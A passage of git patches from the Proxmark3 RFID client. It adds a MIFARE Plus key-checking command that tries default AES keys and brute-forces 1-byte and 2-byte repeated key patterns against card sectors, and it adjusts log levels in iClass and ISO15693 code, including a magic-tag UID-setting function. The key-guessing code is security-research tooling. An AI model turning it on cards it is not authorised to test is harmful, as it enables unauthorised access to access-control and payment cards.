selectCard = true; + msleep(50); break; } @@ -706,7 +716,6 @@ static int CmdHFMFPChk(const char *cmd) { break; selectCard = false; - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(key, 16), res); } } } @@ -725,8 +734,8 @@ static int CmdHFMFPChk(const char *cmd) { } PrintAndLogEx(INFO, "| %02d |%32s|%32s|", sector, - (foundKeys[0][sector] == NULL) ? "----- " : foundKeys[0][sector], - (foundKeys[1][sector] == NULL) ? "----- " : foundKeys[1][sector]); + (foundKeys[0][sector] == NULL) ? "------ " : foundKeys[0][sector], + (foundKeys[1][sector] == NULL) ? "------ " : foundKeys[1][sector]); } } if (!printedHeader) From 9f8a8cce96a74f5fe24b788701fdc50de8078d74 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 15:36:52 +0200 Subject: [PATCH 026/418] refactoring. move key list to uint8_t[16] array --- client/cmdhfmfp.c | 60 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 42 insertions(+), 18 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index c3944e12d..b1a764cac 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -638,10 +638,15 @@ static int CmdHFMFPWrbl(const char *cmd) { return PM3_SUCCESS; } +#define AES_KEY_LEN 16 +#define MAX_KEYS_LIST_LEN 1024 + static int CmdHFMFPChk(const char *cmd) { int res; bool selectCard = true; - char* foundKeys[2][64] = {NULL}; + uint8_t keysList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; + size_t keysListLen = 0; + uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; CLIParserInit("hf mfp check", "Checks keys with Mifare Plus card.", @@ -682,30 +687,49 @@ static int CmdHFMFPChk(const char *cmd) { if (endSector < startSector) endSector = startSector; + + if (pattern1b || pattern2b) { + for (int i = 0; i < 0x100; i++) + memset(keysList[i], i, 16); + + keysListLen = 0x100; + } + + if (keysListLen == 0) { + for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { + int datalen = 0; + if (param_gethex_to_eol(g_mifare_plus_default_keys[i], 0, keysList[keysListLen], 16, &datalen) > 0) + break; + if (datalen != 16) + break; + + keysListLen++; + } + } + + if (keysListLen == 0) { + PrintAndLogEx(ERROR, "Key list is empty. Nothing to check."); + return 1; + } + uint8_t keyn[2] = {0}; - uint8_t key[16] = {0}; // sector number from 0 for (uint8_t sector = startSector; sector <= endSector; sector++) { // 0-keyA 1-keyB for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { // main cycle with key check - for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { - int datalen = 0; - if (param_gethex_to_eol((char *)g_mifare_plus_default_keys[i], 0, (uint8_t *)key, 16, &datalen) > 0) - break; - if (datalen != 16) - break; - + for (int i = 0; i < keysListLen; i++) { uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - res = MifareAuth4(NULL, keyn, key, selectCard, true, false, false, true); - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(key, 16), res); + res = MifareAuth4(NULL, keyn, keysList[i], selectCard, true, false, false, true); + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keysList[i], 16), res); if (res == 0) { - PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(key, 16)); - foundKeys[keyAB][sector] = (char*)g_mifare_plus_default_keys[i]; + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keysList[i], 16)); + foundKeys[keyAB][sector][0] = 0x01; + memcpy(&foundKeys[keyAB][sector][1], keysList[i], AES_KEY_LEN); DropField(); selectCard = true; msleep(50); @@ -725,23 +749,23 @@ static int CmdHFMFPChk(const char *cmd) { // print result bool printedHeader = false; for (uint8_t sector = startSector; sector <= endSector; sector++) { - if (foundKeys[0][sector] != NULL || foundKeys[1][sector] != NULL) { + if (foundKeys[0][sector][0] || foundKeys[1][sector][0]) { if (!printedHeader) { - PrintAndLogEx(INFO, ".------.--------------------------------.--------------------------------."); + PrintAndLogEx(INFO, "\n.------.--------------------------------.--------------------------------."); PrintAndLogEx(INFO, "|sector| key A | key B |"); PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|"); printedHeader = true; } PrintAndLogEx(INFO, "| %02d |%32s|%32s|", sector, - (foundKeys[0][sector] == NULL) ? "------ " : foundKeys[0][sector], - (foundKeys[1][sector] == NULL) ? "------ " : foundKeys[1][sector]); + (foundKeys[0][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[0][sector][1], AES_KEY_LEN), + (foundKeys[1][sector][0] == 0) ? "------ " : sprint_hex_inrow(&foundKeys[1][sector][1], AES_KEY_LEN)); } } if (!printedHeader) PrintAndLogEx(INFO, "No keys found("); else - PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'"); + PrintAndLogEx(INFO, "'------'--------------------------------'--------------------------------'\n"); return PM3_SUCCESS; } From 385a747dbd7460749f3a73bdc3b8ea47c3a627f1 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Thu, 28 Nov 2019 16:24:39 +0200 Subject: [PATCH 027/418] added search 2-byte pattern --- client/cmdhfmfp.c | 50 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 35 insertions(+), 15 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index b1a764cac..db8df3e29 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -644,8 +644,8 @@ static int CmdHFMFPWrbl(const char *cmd) { static int CmdHFMFPChk(const char *cmd) { int res; bool selectCard = true; - uint8_t keysList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; - size_t keysListLen = 0; + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; + size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; CLIParserInit("hf mfp check", @@ -663,6 +663,7 @@ static int CmdHFMFPChk(const char *cmd) { arg_str0(NULL, NULL, "", NULL), arg_lit0(NULL, "pattern1b", "check all 1-byte combinations of key (0000...0000, 0101...0101, 0202...0202, ...)"), arg_lit0(NULL, "pattern2b", "check all 2-byte combinations of key (0000...0000, 0001...0001, 0002...0002, ...)"), + arg_str0(NULL, "startp2b", " start pattern for 2-byte search key", NULL), arg_param_end }; CLIExecWithReturn(cmd, argtable, true); @@ -676,6 +677,12 @@ static int CmdHFMFPChk(const char *cmd) { CLIGetHexWithReturn(5, vkey, &vkeylen); bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); + uint16_t startPattern = 0x0000; + uint8_t vpattern[2]; + int vpatternlen = 0; + CLIGetHexWithReturn(9, vpattern, &vpatternlen); + if (vpatternlen > 0 && vpatternlen <= 2) + startPattern = (vpattern[0] << 8) + vpattern[1]; CLIParserFree(); uint8_t startKeyAB = 0; @@ -688,48 +695,61 @@ static int CmdHFMFPChk(const char *cmd) { if (endSector < startSector) endSector = startSector; - if (pattern1b || pattern2b) { + if (pattern1b) { for (int i = 0; i < 0x100; i++) - memset(keysList[i], i, 16); + memset(keyList[i], i, 16); - keysListLen = 0x100; + keyListLen = 0x100; + } + + if (pattern2b) { + for (uint32_t i = startPattern; i < 0x10000; i++) { + keyList[keyListLen][0] = (i >> 8) & 0xff; + keyList[keyListLen][1] = i & 0xff; + memcpy(&keyList[keyListLen][2], &keyList[keyListLen][0], 2); + memcpy(&keyList[keyListLen][4], &keyList[keyListLen][0], 4); + memcpy(&keyList[keyListLen][8], &keyList[keyListLen][0], 8); + keyListLen++; + if (keyListLen == MAX_KEYS_LIST_LEN) + break; + } + startPattern = (keyList[keyListLen - 1][0] << 8) + keyList[keyListLen - 1][1]; } - if (keysListLen == 0) { + if (keyListLen == 0) { for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { int datalen = 0; - if (param_gethex_to_eol(g_mifare_plus_default_keys[i], 0, keysList[keysListLen], 16, &datalen) > 0) + if (param_gethex_to_eol(g_mifare_plus_default_keys[i], 0, keyList[keyListLen], 16, &datalen) > 0) break; if (datalen != 16) break; - keysListLen++; + keyListLen++; } } - if (keysListLen == 0) { + if (keyListLen == 0) { PrintAndLogEx(ERROR, "Key list is empty. Nothing to check."); return 1; } - uint8_t keyn[2] = {0}; // sector number from 0 for (uint8_t sector = startSector; sector <= endSector; sector++) { // 0-keyA 1-keyB for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { // main cycle with key check - for (int i = 0; i < keysListLen; i++) { + for (int i = 0; i < keyListLen; i++) { uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; keyn[0] = uKeyNum >> 8; keyn[1] = uKeyNum & 0xff; - res = MifareAuth4(NULL, keyn, keysList[i], selectCard, true, false, false, true); - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keysList[i], 16), res); + res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); if (res == 0) { - PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keysList[i], 16)); + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); foundKeys[keyAB][sector][0] = 0x01; - memcpy(&foundKeys[keyAB][sector][1], keysList[i], AES_KEY_LEN); + memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); DropField(); selectCard = true; msleep(50); From 1efc731fac29867e64686979cb35ae840851d428 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 29 Nov 2019 17:23:30 +0200 Subject: [PATCH 028/418] refactoring and break operation via keyboard --- client/cmdhfmfp.c | 103 +++++++++++++++++++++++++++++++--------------- include/pm3_cmd.h | 2 + 2 files changed, 71 insertions(+), 34 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index db8df3e29..6a64b01f5 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -641,9 +641,72 @@ static int CmdHFMFPWrbl(const char *cmd) { #define AES_KEY_LEN 16 #define MAX_KEYS_LIST_LEN 1024 -static int CmdHFMFPChk(const char *cmd) { + int MFPKeyCheck(uint8_t startSector, uint8_t endSector, uint8_t startKeyAB, uint8_t endKeyAB, + uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t keyListLen, uint8_t foundKeys[2][64][AES_KEY_LEN + 1]) { int res; bool selectCard = true; + uint8_t keyn[2] = {0}; + + // sector number from 0 + for (uint8_t sector = startSector; sector <= endSector; sector++) { + // 0-keyA 1-keyB + for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { + // main cycle with key check + for (int i = 0; i < keyListLen; i++) { + if (i % 10 == 0) { + if (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\nAborted via keyboard!\n"); + DropField(); + return PM3_EOPABORTED; + } + } + + uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; + keyn[0] = uKeyNum >> 8; + keyn[1] = uKeyNum & 0xff; + + for (int retry = 0; retry < 4; retry++) { + res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); + if (res != 2) + break; + + printf("retried[%d]...\n", retry); + + DropField(); + selectCard = true; + msleep(100); + } + + PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); + + // key for [sector,keyAB] found + if (res == 0) { + PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); + foundKeys[keyAB][sector][0] = 0x01; + memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); + DropField(); + selectCard = true; + msleep(50); + break; + } + + // 5 - auth error (rnd not equal) + if (res != 5) { + DropField(); + return PM3_ECARDEXCHANGE; + } + + selectCard = false; + } + } + } + + DropField(); + return PM3_SUCCESS; +} + +static int CmdHFMFPChk(const char *cmd) { + int res; uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; @@ -733,45 +796,17 @@ static int CmdHFMFPChk(const char *cmd) { return 1; } - uint8_t keyn[2] = {0}; - // sector number from 0 - for (uint8_t sector = startSector; sector <= endSector; sector++) { - // 0-keyA 1-keyB - for(uint8_t keyAB = startKeyAB; keyAB <= endKeyAB; keyAB++) { - // main cycle with key check - for (int i = 0; i < keyListLen; i++) { - uint16_t uKeyNum = 0x4000 + sector * 2 + keyAB; - keyn[0] = uKeyNum >> 8; - keyn[1] = uKeyNum & 0xff; - - res = MifareAuth4(NULL, keyn, keyList[i], selectCard, true, false, false, true); - PrintAndLogEx(WARNING, "sector %d key %d [%s] res: %d", sector, keyAB, sprint_hex_inrow(keyList[i], 16), res); - if (res == 0) { - PrintAndLogEx(INFO, "Found key for sector %d key %s [%s]", sector, keyAB == 0 ? "A" : "B", sprint_hex_inrow(keyList[i], 16)); - foundKeys[keyAB][sector][0] = 0x01; - memcpy(&foundKeys[keyAB][sector][1], keyList[i], AES_KEY_LEN); - DropField(); - selectCard = true; - msleep(50); - break; - } - - if (res != 5) - break; - - selectCard = false; - } - } - } - - DropField(); + + res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys); + printf("--- res: %d\n", res); // print result bool printedHeader = false; for (uint8_t sector = startSector; sector <= endSector; sector++) { if (foundKeys[0][sector][0] || foundKeys[1][sector][0]) { if (!printedHeader) { - PrintAndLogEx(INFO, "\n.------.--------------------------------.--------------------------------."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, ".------.--------------------------------.--------------------------------."); PrintAndLogEx(INFO, "|sector| key A | key B |"); PrintAndLogEx(INFO, "|------|--------------------------------|--------------------------------|"); printedHeader = true; diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 892ec533f..e775b3413 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -590,6 +590,8 @@ typedef struct { #define PM3_EWRONGANSVER -16 // Memory out-of-bounds error client/pm3: error when a read/write is outside the expected array #define PM3_EOUTOFBOUND -17 +// exchange with card error client/pm3: error when cant get answer from card or got an incorrect answer +#define PM3_ECARDEXCHANGE -18 // No data pm3: no data available, no host frame available (not really an error) #define PM3_ENODATA -98 // Quit program client: reserved, order to quit the program From a861d2971cff72b8c0fd196bd62540c90186da9c Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 29 Nov 2019 17:29:36 +0200 Subject: [PATCH 029/418] specify key in the command line --- client/cmdhfmfp.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 6a64b01f5..f3ad37405 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -735,17 +735,30 @@ static int CmdHFMFPChk(const char *cmd) { bool keyB = arg_get_lit(2); uint8_t startSector = arg_get_int_def(3, 0); uint8_t endSector = arg_get_int_def(4, 0); + uint8_t vkey[16] = {0}; int vkeylen = 0; CLIGetHexWithReturn(5, vkey, &vkeylen); + if (vkeylen > 0) { + if (vkeylen == 16) { + memcpy(&keyList[keyListLen], vkey, 16); + keyListLen++; + } else { + PrintAndLogEx(ERROR, "Specified key must have 16 bytes length."); + return PM3_EINVARG; + } + } + bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); + uint16_t startPattern = 0x0000; uint8_t vpattern[2]; int vpatternlen = 0; CLIGetHexWithReturn(9, vpattern, &vpatternlen); if (vpatternlen > 0 && vpatternlen <= 2) startPattern = (vpattern[0] << 8) + vpattern[1]; + CLIParserFree(); uint8_t startKeyAB = 0; @@ -793,7 +806,7 @@ static int CmdHFMFPChk(const char *cmd) { if (keyListLen == 0) { PrintAndLogEx(ERROR, "Key list is empty. Nothing to check."); - return 1; + return PM3_EINVARG; } From 8e6f08835d81684c91c47a388b8769803d5fbd19 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Fri, 29 Nov 2019 17:34:54 +0200 Subject: [PATCH 030/418] added some error handling --- client/cmdhfmfp.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index f3ad37405..3d1f41b8f 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -751,13 +751,26 @@ static int CmdHFMFPChk(const char *cmd) { bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); + + if (pattern1b && pattern2b) { + PrintAndLogEx(ERROR, "Pattern search mode must be 2-byte or 1-byte only."); + return PM3_EINVARG; + } uint16_t startPattern = 0x0000; uint8_t vpattern[2]; int vpatternlen = 0; CLIGetHexWithReturn(9, vpattern, &vpatternlen); - if (vpatternlen > 0 && vpatternlen <= 2) - startPattern = (vpattern[0] << 8) + vpattern[1]; + if (vpatternlen > 0) { + if (vpatternlen > 0 && vpatternlen <= 2) { + startPattern = (vpattern[0] << 8) + vpattern[1]; + } else { + PrintAndLogEx(ERROR, "Pattern must be 2-byte length."); + return PM3_EINVARG; + } + if (!pattern2b) + PrintAndLogEx(WARNING, "Pattern entered, but search mode not is 2-byte search."); + } CLIParserFree(); @@ -809,7 +822,6 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } - res = MFPKeyCheck(startSector, endSector, startKeyAB, endKeyAB, keyList, keyListLen, foundKeys); printf("--- res: %d\n", res); From b8a339361b00e9cca8794b204c18a5e39ea1f4b4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 30 Nov 2019 17:06:03 +0100 Subject: [PATCH 031/418] textual --- client/cmdhficlass.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/client/cmdhficlass.c b/client/cmdhficlass.c index b57996af1..ae1109717 100644 --- a/client/cmdhficlass.c +++ b/client/cmdhficlass.c @@ -334,15 +334,15 @@ static void fuse_config(const picopass_hdr *hdr) { if (isset(fuses, FUSE_FPERS)) PrintAndLogEx(SUCCESS, " Mode: Personalization [Programmable]"); else - PrintAndLogEx(NORMAL, " Mode: Application [Locked]"); + PrintAndLogEx(SUCCESS, " Mode: Application [Locked]"); if (isset(fuses, FUSE_CODING1)) { - PrintAndLogEx(NORMAL, " Coding: RFU"); + PrintAndLogEx(SUCCESS, " Coding: RFU"); } else { if (isset(fuses, FUSE_CODING0)) - PrintAndLogEx(NORMAL, " Coding: ISO 14443-2 B/ISO 15693"); + PrintAndLogEx(SUCCESS, " Coding: ISO 14443-2 B/ISO 15693"); else - PrintAndLogEx(NORMAL, " Coding: ISO 14443B only"); + PrintAndLogEx(SUCCESS, " Coding: ISO 14443B only"); } // 1 1 if (isset(fuses, FUSE_CRYPT1) && isset(fuses, FUSE_CRYPT0)) PrintAndLogEx(SUCCESS, " Crypt: Secured page, keys not locked"); @@ -354,7 +354,7 @@ static void fuse_config(const picopass_hdr *hdr) { if (notset(fuses, FUSE_CRYPT1) && notset(fuses, FUSE_CRYPT0)) PrintAndLogEx(NORMAL, " Crypt: No auth possible. Read only if RA is enabled"); if (isset(fuses, FUSE_RA)) - PrintAndLogEx(NORMAL, " RA: Read access enabled"); + PrintAndLogEx(SUCCESS, " RA: Read access enabled"); else PrintAndLogEx(WARNING, " RA: Read access not enabled"); } @@ -2827,12 +2827,13 @@ int readIclass(bool loop, bool verbose) { } if (readStatus & FLAG_ICLASS_READER_CSN) { - PrintAndLogEx(NORMAL, " CSN: %s", sprint_hex(data, 8)); + PrintAndLogEx(NORMAL, "\n"); + PrintAndLogEx(SUCCESS, " CSN: %s", sprint_hex(data, 8)); tagFound = true; } if (readStatus & FLAG_ICLASS_READER_CC) { - PrintAndLogEx(NORMAL, " CC: %s", sprint_hex(data + 16, 8)); + PrintAndLogEx(SUCCESS, " CC: %s", sprint_hex(data + 16, 8)); } if (readStatus & FLAG_ICLASS_READER_CONF) { @@ -2847,7 +2848,7 @@ int readIclass(bool loop, bool verbose) { bool se_enabled = (memcmp((uint8_t *)(data + 8 * 5), "\xff\xff\xff\x00\x06\xff\xff\xff", 8) == 0); - PrintAndLogEx(NORMAL, " App IA: %s", sprint_hex(data + 8 * 5, 8)); + PrintAndLogEx(SUCCESS, " App IA: %s", sprint_hex(data + 8 * 5, 8)); if (isHidRange) { if (legacy) From 3ad7c0d319c45cb5157eb684842d247dfc4ac745 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 30 Nov 2019 19:57:29 +0100 Subject: [PATCH 032/418] textual --- client/cmdhf15.c | 64 ++++++++++++++++++++++++------------------------ 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/client/cmdhf15.c b/client/cmdhf15.c index 1650aefd4..eed6bf3d7 100644 --- a/client/cmdhf15.c +++ b/client/cmdhf15.c @@ -517,7 +517,7 @@ static bool prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t return false; } memcpy(&req[tmpreqlen], uid, sizeof(uid)); - PrintAndLogEx(NORMAL, "Detected UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Detected UID %s", sprintUID(NULL, uid)); tmpreqlen += sizeof(uid); break; default: @@ -530,7 +530,7 @@ static bool prepareHF15Cmd(char **cmd, uint16_t *reqlen, uint8_t *arg1, uint8_t uid[7 - i] = temp & 0xff; } - PrintAndLogEx(NORMAL, "Using UID %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Using UID %s", sprintUID(NULL, uid)); memcpy(&req[tmpreqlen], uid, sizeof(uid)); tmpreqlen += sizeof(uid); break; @@ -569,7 +569,7 @@ static int CmdHF15Demod(const char *Cmd) { } } - PrintAndLogEx(NORMAL, "SOF at %d, correlation %zu", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); + PrintAndLogEx(INFO, "SOF at %d, correlation %zu", maxPos, max / (ARRAYLEN(FrameSOF) / skip)); i = maxPos + ARRAYLEN(FrameSOF) / skip; int k = 0; @@ -592,7 +592,7 @@ static int CmdHF15Demod(const char *Cmd) { corr1 *= 4; if (corrEOF > corr1 && corrEOF > corr0) { - PrintAndLogEx(NORMAL, "EOF at %d", i); + PrintAndLogEx(INFO, "EOF at %d", i); break; } else if (corr1 > corr0) { i += ARRAYLEN(Logic1) / skip; @@ -606,21 +606,21 @@ static int CmdHF15Demod(const char *Cmd) { mask = 0x01; } if ((i + (int)ARRAYLEN(FrameEOF)) >= GraphTraceLen) { - PrintAndLogEx(NORMAL, "ran off end!"); + PrintAndLogEx(INFO, "ran off end!"); break; } } if (mask != 0x01) { PrintAndLogEx(WARNING, "Warning, uneven octet! (discard extra bits!)"); - PrintAndLogEx(NORMAL, " mask = %02x", mask); + PrintAndLogEx(INFO, " mask = %02x", mask); } - PrintAndLogEx(NORMAL, "%d octets", k); + PrintAndLogEx(INFO, "%d octets", k); for (i = 0; i < k; i++) - PrintAndLogEx(NORMAL, "# %2d: %02x ", i, outBuf[i]); + PrintAndLogEx(SUCCESS, "# %2d: %02x ", i, outBuf[i]); - PrintAndLogEx(NORMAL, "CRC %04x", Crc15(outBuf, k - 2)); + PrintAndLogEx(SUCCESS, "CRC %04x", Crc15(outBuf, k - 2)); return PM3_SUCCESS; } @@ -741,13 +741,13 @@ static int NxpSysInfo(uint8_t *uid) { PrintAndLogEx(NORMAL, ""); if (status < 2) { - PrintAndLogEx(NORMAL, " EAS (Electronic Article Surveillance) is not active"); + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is not active"); } else { recv = resp.data.asBytes; if (!(recv[0] & ISO15_RES_ERROR)) { - PrintAndLogEx(NORMAL, " EAS (Electronic Article Surveillance) is active."); - PrintAndLogEx(NORMAL, " EAS sequence: %s", sprint_hex(recv + 1, 32)); + PrintAndLogEx(INFO, " EAS (Electronic Article Surveillance) is active."); + PrintAndLogEx(INFO, " EAS sequence: %s", sprint_hex(recv + 1, 32)); } } } @@ -866,36 +866,36 @@ static int CmdHF15Info(const char *Cmd) { memcpy(uid, recv + 2, sizeof(uid)); - PrintAndLogEx(NORMAL, " UID : %s", sprintUID(NULL, uid)); - PrintAndLogEx(NORMAL, " TYPE : %s", getTagInfo_15(recv + 2)); - PrintAndLogEx(NORMAL, " SYSINFO : %s", sprint_hex(recv, status - 2)); + PrintAndLogEx(SUCCESS, " UID : %s", sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, " TYPE : %s", getTagInfo_15(recv + 2)); + PrintAndLogEx(SUCCESS, " SYSINFO : %s", sprint_hex(recv, status - 2)); // DSFID if (recv[1] & 0x01) - PrintAndLogEx(NORMAL, " - DSFID supported [0x%02X]", recv[10]); + PrintAndLogEx(SUCCESS, " - DSFID supported [0x%02X]", recv[10]); else - PrintAndLogEx(NORMAL, " - DSFID not supported"); + PrintAndLogEx(SUCCESS, " - DSFID not supported"); // AFI if (recv[1] & 0x02) - PrintAndLogEx(NORMAL, " - AFI supported [0x%02X]", recv[11]); + PrintAndLogEx(SUCCESS, " - AFI supported [0x%02X]", recv[11]); else - PrintAndLogEx(NORMAL, " - AFI not supported"); + PrintAndLogEx(SUCCESS, " - AFI not supported"); // IC reference if (recv[1] & 0x08) - PrintAndLogEx(NORMAL, " - IC reference supported [0x%02X]", recv[14]); + PrintAndLogEx(SUCCESS, " - IC reference supported [0x%02X]", recv[14]); else - PrintAndLogEx(NORMAL, " - IC reference not supported"); + PrintAndLogEx(SUCCESS, " - IC reference not supported"); // memory if (recv[1] & 0x04) { - PrintAndLogEx(NORMAL, " - Tag provides info on memory layout (vendor dependent)"); + PrintAndLogEx(SUCCESS, " - Tag provides info on memory layout (vendor dependent)"); uint8_t blocks = recv[12] + 1; uint8_t size = (recv[13] & 0x1F); - PrintAndLogEx(NORMAL, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); + PrintAndLogEx(SUCCESS, " %u (or %u) bytes/blocks x %u blocks", size + 1, size, blocks); } else { - PrintAndLogEx(NORMAL, " - Tag does not provide information on memory layout"); + PrintAndLogEx(SUCCESS, " - Tag does not provide information on memory layout"); } // Check if SLIX2 and attempt to get NXP System Information @@ -1015,7 +1015,7 @@ static int CmdHF15WriteAfi(const char *Cmd) { SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); + PrintAndLogEx(ERR, "iso15693 card select failed"); DropField(); return PM3_ETIMEOUT; } @@ -1074,7 +1074,7 @@ static int CmdHF15WriteDsfid(const char *Cmd) { SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { - PrintAndLogEx(NORMAL, "iso15693 card select failed"); + PrintAndLogEx(ERR, "iso15693 card select failed"); DropField(); return PM3_ETIMEOUT; } @@ -1142,7 +1142,7 @@ static int CmdHF15Dump(const char *Cmd) { } // detect blocksize from card :) - PrintAndLogEx(NORMAL, "Reading memory from tag UID " _YELLOW_("%s"), sprintUID(NULL, uid)); + PrintAndLogEx(SUCCESS, "Reading memory from tag UID " _YELLOW_("%s"), sprintUID(NULL, uid)); int blocknum = 0; uint8_t *recv = NULL; @@ -1523,7 +1523,7 @@ static int CmdHF15Write(const char *Cmd) { AddCrc15(req, reqlen); reqlen += 2; - PrintAndLogEx(NORMAL, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); + PrintAndLogEx(INFO, "iso15693 writing to page %02d (0x%02X) | data ", pagenum, pagenum); clearCommandBuffer(); SendCommandOLD(CMD_HF_ISO15693_COMMAND, reqlen, arg1, 1, req, reqlen); @@ -1550,7 +1550,7 @@ static int CmdHF15Write(const char *Cmd) { } if (recv[0] & ISO15_RES_ERROR) { - PrintAndLogEx(NORMAL, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + PrintAndLogEx(ERR, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); return PM3_EWRONGANSVER; } @@ -1703,7 +1703,7 @@ static int CmdHF15CSetUID(const char *Cmd) { } PrintAndLogEx(SUCCESS, "new UID | %s", sprint_hex(uid, sizeof(uid))); - PrintAndLogEx(NORMAL, "Using backdoor Magic tag function"); + PrintAndLogEx(INFO, "Using backdoor Magic tag function"); if (!getUID(oldUid)) { PrintAndLogEx(FAILED, "Can't get old UID."); @@ -1755,8 +1755,8 @@ static int CmdHF15CSetUID(const char *Cmd) { if (reply) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { uint8_t len = resp.oldarg[0]; - PrintAndLogEx(NORMAL, "received %i octets", len); - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.data.asBytes, len)); + PrintAndLogEx(INFO, "received %i octets", len); + PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, len)); } else { PrintAndLogEx(WARNING, "timeout while waiting for reply."); } From bd80fa254ea677e169c8a4bbb2241adf22901aa6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: 